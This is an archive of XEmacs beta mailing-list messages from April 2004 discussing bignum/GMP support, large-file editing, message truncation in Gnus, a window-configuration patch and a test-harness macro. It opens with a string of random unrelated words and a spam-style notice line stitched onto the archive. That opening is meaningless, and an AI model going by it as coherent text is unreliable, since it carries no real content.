Pcultural cluj again quay argonne !!! Sefferent alteration jade wick exorcism fusiform obsessive impiety lantern count coexistent solenoid ; Fduke killdeer cut burst smithfield lawful every claudia drastic deactivate incombustible brandeis peep geochemical econometric tabernacle milton pythagorean alacrity prolix contemptuous chemise gymnastic lob hypothesis saguaro blab curtain ukrainian hubert benelux stanford minoan valery dogbane subjunctive augustine dallas watergate newt cotman pestilential radiochemistry madeleine calve

If this notice has reached you in error, please notify us by clicking here ----23377986650696196747-- From xemacs-beta-admin@xemacs.org Fri Apr 23 02:31:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N6V1s16543; Fri, 23 Apr 2004 02:31:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N6Uhr16194 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 02:30:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N6Uf816153 for turnbull@tux.org; Fri, 23 Apr 2004 02:30:41 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3N6Uas16019 for ; Fri, 23 Apr 2004 02:30:36 -0400 Received: (qmail 18561 invoked from network); 23 Apr 2004 08:30:34 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 23 Apr 2004 08:30:34 +0200 Received: (qmail 27849 invoked from network); 23 Apr 2004 08:30:33 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 23 Apr 2004 08:30:33 +0200 To: XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Fri, 23 Apr 2004 08:32:50 +0200 In-Reply-To: (Jerry James's message of "Thu, 22 Apr 2004 22:29:18 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: >> 2. If bignums are to become required in the above sense, we should >> ship a simple bignum implementation with XEmacs, for the machines >> that don't have one (think Windows, off-the-shelf Unix, and Linux >> distros without libgmp-devel). It doesn't have to be fast or have >> any bells and whistles, but it should be there. > > We could, but to what extent will we be reimplementing GMP? We could also include a GMP release with the source (only to be used where GMP is missing), but you seemed to be against that. > I'll have > to think about this some, but I wonder if we couldn't arrange to just > drop a GMP source library into the XEmacs source tree somewhere, and > automatically build it into the XEmacs executable (if there is no > prebuilt GMP library on the system, of course). Exactly. In one of your previous mails, I got the impression that you were against that option. >> 3. Before we proceed with #1, we should take a look at the performance >> ramifications. We don't have a compiler with fixnum hints and >> declarations, so *all* integer operations will be checked for >> overflow. Maybe it's not a big deal at all -- Python seems to >> manage fine without it -- but I'd like to know for sure. > > Definitely. I think we should start talking about how to build the > benchmarks that will tell us what we want to know. Benchmarking byte-compilation is a good first step. The byte-compiler is a good example of an application that spends a good deal of time at the Lisp engine and doesn't spend inordinate amounts of time on things like redisplay or regexps. If the byte-compiler hasn't slowed down, it means that at least Lisp is unaffected. Then we can proceed with arithmetic benchmarks. An Eratostenes sieve is a fairly universal yet simple benchmark. And I'm sure someone can think of better ones. >> I'm not proposing using bignums for buffer internals, if that's >> what you mean. They might be used to raise the buffer max. size >> limit from 1G to 2G or 4G, but even I concede that that would too >> much work for very little gain. > > Right. We probably need to figure out how to edit files that are > not all in memory at Is editing an occasional 10G log file really worth that kind of effort? It seems to me that allowing that would twist buffer internals inside-out, ruin the search code, and destroy performance of everything else, only to handle something that is realistically a fringe case. From xemacs-beta-admin@xemacs.org Fri Apr 23 02:23:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N6N1s10345; Fri, 23 Apr 2004 02:23:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N6MvI10280 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 02:22:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N6MuL10262 for turnbull@tux.org; Fri, 23 Apr 2004 02:22:56 -0400 Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N6Mrs10234; Fri, 23 Apr 2004 02:22:53 -0400 Received: from sfwd00.aul.t-online.de by mailout04.sul.t-online.com with smtp id 1BGu5H-0003mo-00; Fri, 23 Apr 2004 08:22:47 +0200 Received: from D5DC120J.t-online.de (JO7IEyZBoeSh9Vut8yk1Xe+CyPrLN+MUk-7Ej86d-eh-31fuokrH6C@[80.128.55.244]) by afwd00.sul.t-online.com with esmtp id 1BGu54-17TsBM0; Fri, 23 Apr 2004 08:22:34 +0200 To: Jerry James Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: [Q21.4] truncate range error X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <877jwbtfq7.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: Adrian Aichner Date: Fri, 23 Apr 2004 08:23:44 +0200 In-Reply-To: (Jerry James's message of "Thu, 22 Apr 2004 22:16:33 -0500") Message-ID: <8ygntdov.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: JO7IEyZBoeSh9Vut8yk1Xe+CyPrLN+MUk-7Ej86d-eh-31fuokrH6C X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: > "Stephen J. Turnbull" wrote: >>>>>>> "Jerry" == Jerry James writes: >> >> Jerry> Bummer. That's the third patch of mine to get mangled or >> Jerry> truncated in the last couple of months. I am living on the >> Jerry> bleeding edge, though (CVS XEmacs 21.5 and CVS packages, >> Jerry> with only slight delays in updating). Attaching the patch >> Jerry> has worked in the past, so I'll try that. >> >> I've seen this too, a lot. >> >> I'm trying to dig up the reference to a known problem with CVS, ssh, >> and pipes. I can't remember where I saw it, though. :-( >> >> Are you doing cvs diffs via :ext or :pserver? > > I do it with :pserver when reading, and with :ext when committing. That > means patches are generated with :pserver. > > But I think this is barking up the wrong tree, since a later message of > mine got truncated in the middle of a sentence, and I just had a problem > earlier today with sending a PDF file because of a truncation. This > seems to be a generic CVS XEmacs + Gnus problem. If I can figure out > how to trigger it reliably, I'll see if I can track it down. Jerry, do who have the original of one mail that did get truncated? Inspecting that one would be interesting. Do you use bcc or gcc for messages you send? -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Fri Apr 23 03:37:32 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N7b3s01805; Fri, 23 Apr 2004 03:37:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N7awf01720 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 03:36:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N7avq01700 for turnbull@tux.org; Fri, 23 Apr 2004 03:36:57 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N7ats01668; Fri, 23 Apr 2004 03:36:55 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGvF0-0001lW-00; Fri, 23 Apr 2004 16:36:54 +0900 To: Jerry James Cc: XEmacs Beta Subject: XEmacs/Gnus truncates messages [was: truncate range error] References: <85brlob90y.fsf@junk.nocrew.org> <85hdvf9ock.fsf@junk.nocrew.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 23 Apr 2004 16:36:53 +0900 In-Reply-To: (Jerry James's message of "Thu, 22 Apr 2004 22:19:59 -0500") Message-ID: <87d65zm9gq.fsf_-_@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> So now it appears pretty certain that the mail is already Jerry> truncated when it leaves my computer. I'll bet that Gnus Jerry> is tickling yet another XEmacs bug ... and there's a Jerry> nonzero probability that the bug is my fault. Unless you hacked the repository, I think not ... these things have been happening for years. My guess is that it's in the lstream code. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 23 01:54:49 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N5sXs22968; Fri, 23 Apr 2004 01:54:33 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N5rqn22500 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 01:53:52 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N5rop22447 for turnbull@tux.org; Fri, 23 Apr 2004 01:53:50 -0400 Received: from elvenbow.nc.kyushu-u.ac.jp (elvenbow.nc.kyushu-u.ac.jp [133.5.6.4]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N5rls22419; Fri, 23 Apr 2004 01:53:47 -0400 Received: from localhost (kasahara@elvenbow.nc.kyushu-u.ac.jp [127.0.0.1]) by elvenbow.nc.kyushu-u.ac.jp (8.12.11/8.12.11) with ESMTP id i3N5rPgO080160; Fri, 23 Apr 2004 14:53:28 +0900 (JST) (envelope-from kasahara@nc.kyushu-u.ac.jp) Date: Fri, 23 Apr 2004 14:53:25 +0900 (JST) Message-Id: <20040423.145325.847007131.kasahara@nc.kyushu-u.ac.jp> To: xemacs-beta@xemacs.org Cc: xemacs-patches@xemacs.org Subject: Re: [21.5-b17] current/set-window-configuration From: Yoshiaki Kasahara In-Reply-To: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> References: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> X-Fingerprint: CDA2 B6B6 6796 0DD3 9D80 2602 E909 4623 A15E A074 X-URL: http://www.nc.kyushu-u.ac.jp/~kasahara/ X-Mailer: Mew version 4.0.65 on XEmacs 21.5-b17 (chayote) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Fri, 02 Apr 2004 11:21:54 +0900 (JST), Yoshiaki Kasahara said: > It seems that current 21.5-beta remembers the cursor position (point) > of the current buffer with the configuration and restores it by > set-window-configuration. The cursor is moved to an unexpected point > and sometimes it causes a problem with some software. I noticed the function 'restore-saved-window-parameters' unconditionally restore the cursor position using 'set-window-point' function before checking whether the target window contains the current buffer. 'set-window-point' seems to move the buffer's point if the window's buffer is the current buffer. Here is my patch. At least Mew is working as I expect now, so I'm happy with this patch. --- lisp/window-xemacs.el.o Wed Sep 10 00:35:46 2003 +++ lisp/window-xemacs.el Fri Apr 23 14:37:34 2004 @@ -382,13 +382,14 @@ (set-window-start window (marker-position (saved-window-start-marker saved-window)) t) - (set-window-point window - (marker-position (saved-window-point-marker saved-window))) (set-marker (mark-marker t buffer) (marker-position (saved-window-mark-marker saved-window)) buffer) (if (not (eq buffer (window-configuration-current-buffer configuration))) - (goto-char (window-point window) buffer))))) + (progn + (set-window-point window + (marker-position (saved-window-point-marker saved-window))) + (goto-char (window-point window) buffer)))))) (if (and (not (saved-window-first-hchild saved-window)) (not (saved-window-first-vchild saved-window))) -- Yoshiaki Kasahara Computing and Communications Center, Kyushu University kasahara@nc.kyushu-u.ac.jp From xemacs-beta-admin@xemacs.org Fri Apr 23 03:49:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N7n1s11007; Fri, 23 Apr 2004 03:49:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N7lx810321 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 03:47:59 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N7lwx10296 for turnbull@tux.org; Fri, 23 Apr 2004 03:47:58 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N7lss10260; Fri, 23 Apr 2004 03:47:55 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGvPb-0001nP-00; Fri, 23 Apr 2004 16:47:51 +0900 To: Hrvoje Niksic Cc: XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 23 Apr 2004 16:47:50 +0900 In-Reply-To: (Hrvoje Niksic's message of "Fri, 23 Apr 2004 08:32:50 +0200") Message-ID: <878ygnm8yh.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> Jerry James writes: >> We could, but to what extent will we be reimplementing GMP? Hrvoje> We could also include a GMP release with the source (only Hrvoje> to be used where GMP is missing), but you seemed to be Hrvoje> against that. I'm against this. That would mean we have to support two GMP implementations at any given time, rising to three when we update our version, to four when we update again, etc. GMP means massive hair because of the attention paid to platform tweaks. If we are going to distribute an MP implementation, it should be simple and portable. No s/m files, please. >>> I'm not proposing using bignums for buffer internals, if >>> that's what you mean. They might be used to raise the buffer >>> max. size limit from 1G to 2G or 4G, but even I concede that >>> that would too much work for very little gain. >> Right. We probably need to figure out how to edit files that >> are not all in memory at Hrvoje> Is editing an occasional 10G log file really worth that Hrvoje> kind of effort? I think it's worth some effort. Maybe we don't do it internally, maybe we write a mode that splits big files on disk? write them to a tempdir and run dired on that. If somebody is worried about the tempfile space, use dd to do it in chunks. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 23 03:54:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N7s2s14584; Fri, 23 Apr 2004 03:54:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N7rHZ14061 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 03:53:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N7rGn14042 for turnbull@tux.org; Fri, 23 Apr 2004 03:53:16 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N7rEs14015; Fri, 23 Apr 2004 03:53:14 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGvUn-0001pV-00; Fri, 23 Apr 2004 16:53:13 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: XEmacs lisp engine References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 23 Apr 2004 16:53:11 +0900 In-Reply-To: (Jerry James's message of "Thu, 22 Apr 2004 22:38:08 -0500") Message-ID: <874qrbm8pk.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> What I've been wondering is, if I were to to chuck Jerry> everything and start over, which extension language would I Jerry> choose today, and why? I'm happy with a Lispy language, but I've never programmed in Haskell or Eiffel. I really would like to see better regexp syntax, tho. \\\\\\\\\\\\\\\-is-for-the-Byrds-ly y'rs -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 23 07:02:44 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NB1Cs12612; Fri, 23 Apr 2004 07:01:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NB0LZ11276 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 07:00:21 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NB0Jx11209 for turnbull@tux.org; Fri, 23 Apr 2004 07:00:19 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3NB0Is11176 for ; Fri, 23 Apr 2004 07:00:18 -0400 Received: (qmail 27488 invoked from network); 23 Apr 2004 13:00:09 +0200 X-Remote-IP: 213.191.128.12 Received: from mx.iskon.hr (qmailr@213.191.128.12) by mxout2.iskon.hr with SMTP; 23 Apr 2004 13:00:09 +0200 Received: (qmail 9408 invoked from network); 23 Apr 2004 13:00:08 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 23 Apr 2004 13:00:08 +0200 To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <878ygnm8yh.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Fri, 23 Apr 2004 13:02:08 +0200 In-Reply-To: <878ygnm8yh.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Fri, 23 Apr 2004 16:47:50 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > I think it's worth some effort. Maybe we don't do it internally, > maybe we write a mode that splits big files on disk? But the question remains how is this mode to implement basic buffer operations such as isearch (and search in general). If there's a simple way to do it, I don't see it. From xemacs-beta-admin@xemacs.org Fri Apr 23 09:04:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ND44s18092; Fri, 23 Apr 2004 09:04:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ND3YL17578 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 09:03:34 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ND3XM17561 for turnbull@tux.org; Fri, 23 Apr 2004 09:03:33 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ND3Qs17402; Fri, 23 Apr 2004 09:03:27 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BH0Ky-0003P9-00; Fri, 23 Apr 2004 22:03:24 +0900 To: Hrvoje Niksic Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <878ygnm8yh.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 23 Apr 2004 22:03:24 +0900 In-Reply-To: (Hrvoje Niksic's message of "Fri, 23 Apr 2004 13:02:08 +0200") Message-ID: <87ekqelucj.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> "Stephen J. Turnbull" writes: >> I think it's worth some effort. Maybe we don't do it >> internally, maybe we write a mode that splits big files on >> disk? Hrvoje> But the question remains how is this mode to implement Hrvoje> basic buffer operations such as isearch (and search in Hrvoje> general). If there's a simple way to do it, I don't see Hrvoje> it. Simple, no. Simpler and more reliable than having users split the files and read them themselves? I don't know, but if you can figure out how to do it by hand, it's axiomatic that Emacs can be made to do it automatically. It's not something that needs to be done all at once like doing it internally would. The initial implementation could just split the file into (say) half-gig chunks, then load the first one into the buffer, pop up a warning explaining why the buffer looks like the file was truncated, and maybe provide pair of functions `forward-chunk' and `backward-chunk'. Mule-correctness at chunk boundaries would be the hardest part. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 23 12:07:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NG72s27758; Fri, 23 Apr 2004 12:07:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NG6eZ27407 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 12:06:40 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NG6c827363 for turnbull@tux.org; Fri, 23 Apr 2004 12:06:38 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NG6bs27341; Fri, 23 Apr 2004 12:06:37 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3NG6QDu003457; Fri, 23 Apr 2004 11:06:26 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3NG6Qtu030837; Fri, 23 Apr 2004 11:06:26 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3NG6PW2030835; Fri, 23 Apr 2004 11:06:25 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: Bad test? References: <873c6wo5nv.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Fri, 23 Apr 2004 11:06:25 -0500 In-Reply-To: <873c6wo5nv.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Thu, 22 Apr 2004 16:03:48 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Jerry" == Jerry James writes: > > Jerry> Why don't the failing tests print the *value* on which they > Jerry> failed? > > Because they don't know it, the macro's argument is a sexp and who > knows what the "real" argument is? > > It's easy enough to fix the macro to take a `failure-report' argument, > but then somebody will have to go and fix the tests. I'll think about > finding a way to fix test-harness so that the tests don't have to be > changed but I'm not sure that's possible. I'm sure it's not, in general at least. What I had in mind is something like this: (defmacro Assert (assertion &optional failing-case) `(condition-case error-info (progn (assert ,assertion) (Print-Pass "%S" (quote ,assertion)) (incf passes)) (cl-assertion-failed (funcall #'Print-Failure (if ,failing-case "Assertion failed: %S; failing case = %S" "Assertion failed: 